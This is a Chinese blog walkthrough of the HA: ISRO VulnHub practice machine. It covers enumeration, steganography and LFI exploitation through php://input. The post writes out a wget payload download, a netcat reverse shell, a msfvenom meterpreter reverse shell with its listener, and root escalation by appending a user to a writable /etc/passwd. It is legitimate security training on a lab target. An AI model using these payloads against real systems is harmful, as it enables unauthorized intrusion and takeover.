『VulnHub系列』HA: ISRO-Walkthrough

靶機地址
難度:中等
靶機發布日期:2019年10月4日

在這裏插入圖片描述
靶機描述:

This is our tribute to the Indian Space Research Organisation (ISRO). We as Indians are proud of ISRO and its achievements. Solve this CTF challenge and feel the work of ISRO.
This machine contains 4 different flags to test your skills.
- Aryabhata
- Bhaskara
- Mangalyaan
- Chandrayaan 2
ENUMERATION IS THE KEY!!!!!

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

netdiscover
nmap
dirb
dirsearch
metaspaloit
msfvenom
binwalk
steghide
LFI漏洞
/etc/passwd可寫

存疑、待解決

  • 爲什麼binwalk無法檢測出圖片中包含的flag.txt,而steghide卻可以提取出來?

0x00、信息收集

靶機IP:192.168.0.107

netdiscover -r 192.168.0.0/24

在這裏插入圖片描述
端口和服務

nmap -sS -sV -T4 -A -p- 192.168.0.107

在這裏插入圖片描述
頁面、目錄枚舉

dirb http://192.168.0.107 -X .php,.txt,.zip,.html

在這裏插入圖片描述

python3 dirsearch.py -u http://192.168.0.107 -e .php,.txt,.zip,.html

[04:54:33] 301 - 312B - /img -> http://192.168.0.107/img/

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

在這裏插入圖片描述
網站首頁

在這裏插入圖片描述
http://192.168.0.107/bhaskara.html

在這裏插入圖片描述
對L2JoYXNrYXJh進行base64解碼得到/bhaskara

echo 'L2JoYXNrYXJh' | base64 -d

在這裏插入圖片描述

結果讓人喜悅,開始以爲這可能是個目錄吧,然後就訪問了一下,結果下載了一個文件

在這裏插入圖片描述
file命令查看文件類型

在這裏插入圖片描述

在這裏插入圖片描述
bhaskara對應的正是data數據文件。經過一番的google搜索,我們最後使用last 讀取了bhaskara裏面的內容。

其實這裏走偏了,後面再講。

last -x -f Desktop/bhaskara

在這裏插入圖片描述
有一個系統用戶bhaskara?嘗試了hydra爆破ssh和ftp,無果。

然後我到Twitter上問了一下做出來的大兄弟,結果這哥們兒沒發現bhaskara文件。What??那我想他應該少了一個flag
在這裏插入圖片描述
想着頂部導航欄的各個菜單對應的url會不會都有這樣的規律:Bhaskara–>http://192.168.0.107/bhaskara.html,因爲它是可以訪問的。
於是挨個試着訪問了下面的地址:
Aryabhata–>http://192.168.0.107/aryabhata.html
Mangalyaan–>http://192.168.0.107/mangalyaan.html
Chandrayaan 2–>http://192.168.0.107/chandrayaan.html
結果並不是我想的那樣。

connect.php,空白頁面,查看源代碼也是啥也沒有

在這裏插入圖片描述

0x01、aryabhata的flag

http://192.168.0.107/img/

在這裏插入圖片描述
我把img目錄下的所有圖片都下載下來了,挨個用binwalk去檢測是否含有其他文件。其實按照常理推斷,我們的目標肯定是aryabhata.jpg,至少文件名是比較敏感的。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
最後使用steghide提取出flag.txt,這裏輸入密碼的地方直接回車就可以了,不知道爲什麼最開始使用binwalk的時候沒有檢測出來。

在這裏插入圖片描述

0x02、發現LFI漏洞

最開始我有想到過connect.php可能有參數的,那個時候我想的是既然名字叫connect,再加上我從下載的那個文件裏面得到了一個用戶名bhaskara,所以我嘗試了connect.php?user=bhaskara,結果並沒有起作用。Twitter上老哥說,What can you do with the php file? Can it have parameters maybe? 於是我猜想這個參數會不會是file?結果還真給我猜對了。

在這裏插入圖片描述
存在文件包含漏洞,測試出了webroot的物理路徑

在這裏插入圖片描述
隨後我用wfuzz想測試一下有哪些文件可讀取,因爲有些請求雖然返回的是200,但是沒有任何內容,所以我用–hl 0過濾掉了這部分。

字典用的是Github上2W+Star的SecLists

wfuzz -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl 0 http://192.168.0.107/connect.php\?file\=FUZZ

在這裏插入圖片描述
把重複的內容過濾之後剩下了這些可讀的默認路徑文件

  • /etc/passwd
  • /etc/group
  • /proc/self/stat
  • /proc/self/status
  • /etc/mysql/my.cnf
  • /etc/vsftpd.conf

手工測試的時候還發現了

  • /etc/issue
    在這裏插入圖片描述
    Uid是33,說明運行apache服務的系統用戶是www-data

在這裏插入圖片描述
/etc/vsftpd.conf

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

0x03、getshell

getshell的過程如下:

在這裏插入圖片描述

嘗試了這篇文章裏的方法local-file-inclusion-remote-code-execution-vulnerability,成功讀取到phpinfo信息,步驟如下:
第一步,使用Burpsuite對connect.php頁面進行抓包;
第二步,修改GET請求爲POST請求,並將file參數值設爲php://input
第三步,增加POST請求內容<?php phpinfo(); ?>
第四步,發送請求,之後爲了方便查看返回的內容,我使用了Burpsuite裏面的Render以達到在瀏覽器上訪問頁面的效果。

在這裏插入圖片描述
在這裏插入圖片描述
既然這樣我想就可以用下面這個方法上傳shell了,但是過程並不順利

<?php system('wget http://x.x.x.x/php-shell.php -O /var/www/html/shell.php'); ?>

ifconfig命令查看kali的IP爲192.168.0.110

msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=1234 R > shell.php 

記得把下圖中紅框部分的兩個字符刪除

在這裏插入圖片描述
msfconsole準備接收反彈的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.110
set lport 1234
run

在這裏插入圖片描述
在這裏插入圖片描述
瀏覽器上訪問http://192.168.0.107/shell.php,狀態碼200,但是msfconsole並沒有接收到shell。隨後我用同樣的方法上傳了phpinfo.php,然後瀏覽器訪問時正常顯示。

在這裏插入圖片描述
那麼爲什麼shell沒有反彈?檢查了一遍本地的shell.php,沒有什麼問題,而且之前也都用了好多遍的。那麼靶機上的shell.php是否是“正常”的。從下圖中可以看到已經上傳上去了。

在這裏插入圖片描述
或者

在這裏插入圖片描述
嘗試查看shell.php的內容時,卻返回了400的請求

在這裏插入圖片描述
或者

在這裏插入圖片描述
嘗試將shell代碼進行base64編碼

以下payload均需base64編碼

  • <?php phpinfo(); ?>是可以成功執行的;
  • <?php echo"xxxx"; ?>也是可以成功執行的;
  • <?php system('ls'); ?>也是可以成功執行的;
  • <?php system('wget http://192.168.0.110/shell.php -O php-shell.php'); ?> 狀態碼500
  • <?php system('ls -la'); ?>也是可以執行的
  • <?php system('nc -e /bin/bash 192.168.0.110 6666'); ?>狀態碼500。這個是因爲靶機是Ubuntu的,nc默認是無法使用-e參數的。

最後我直接把msfvenom生成的webshell代碼進行base64編碼,然後使用發送請求,成功getshell

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

0x04、獲取root權限

查找SUID權限可執行文件

在這裏插入圖片描述
目前我知道的可以提權的SUID權限可執行文件有:

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash
    故排除SUID提權的可能性。

查看全局可寫目錄,並沒有發現有價值的信息

在這裏插入圖片描述
查找全局可寫文件,結果中獎了,發現/etc/passwd文件可寫,這不就等於已經提權成功了麼,哈哈哈

find / -writable -type f 2>/dev/null

在這裏插入圖片描述
openssl生成密文

openssl passwd -1 -saltvalue ins1ght

在這裏插入圖片描述
在/etc/passwd最後一行增加如下內容:

ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash

這裏我沒有用vim或nano去編輯/etc/passwd。nano我沒在這個靶機裏面用成,因爲報錯了;用vim的時候我習慣先用上下左右鍵移動光標到最後一行,但是這個pty裏面用不了。我這裏是用echo命令將內容附加到/etc/passwd文件中的。

echo 'ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash' >> /etc/passwd

在這裏插入圖片描述
su切換至root權限

su ins1ght

在這裏插入圖片描述

0x05、bhaskara的flag

Twitter上問了一下作者下載得到bhaskara文件是個什麼玩意兒,得到如下回復:

在這裏插入圖片描述
Github上找到別人寫好的獲取TrueCrypt文件hash值的腳本truecrypt2john.py

python truecrypt2john.py Desktop/bhaskara > hash
john -wordlist=/usr/share/wordlists/rockyou.txt hash

在這裏插入圖片描述
得到密碼xavier

下載VeraCrypt用來打開bhaskara,VeraCrypt下載地址,我這裏下載的是Debian-9的版本,下載後校驗sha256,校驗通過後進行安裝。

sha256sum Desktop/veracrypt-1.24-Debian-9-amd64.deb
dpkg -i Desktop/veracrypt-1.24-Debian-9-amd64.deb

在這裏插入圖片描述
打開bhaskara文件

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
出現上圖中錯誤是因爲沒有勾選TrueCrypt Mode,見下圖。

在這裏插入圖片描述
之後會掛載一個光驅,大家的圖標可能略有不同

在這裏插入圖片描述
在這裏插入圖片描述

0x06、Mangalyaan的flag

關於下面這個flag的獲取方法我是看了作者寫的Walkthrough,地址在這裏ha-isro-vulnhub-walkthrough。嗯~如果沒有Tizi的話,文章裏面的圖片是看不了的……這個我也沒招兒

之前nmap掃描端口和服務的時候並沒有發現3306端口,但是其實靶機是開了3306端口的,並且只能在本地訪問

在這裏插入圖片描述
登錄數據庫(沒有密碼),讀取flag

show databases;
use flag;
show tables;
select flag from flag;

在這裏插入圖片描述
至此,靶機的4個flag都拿到了。

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章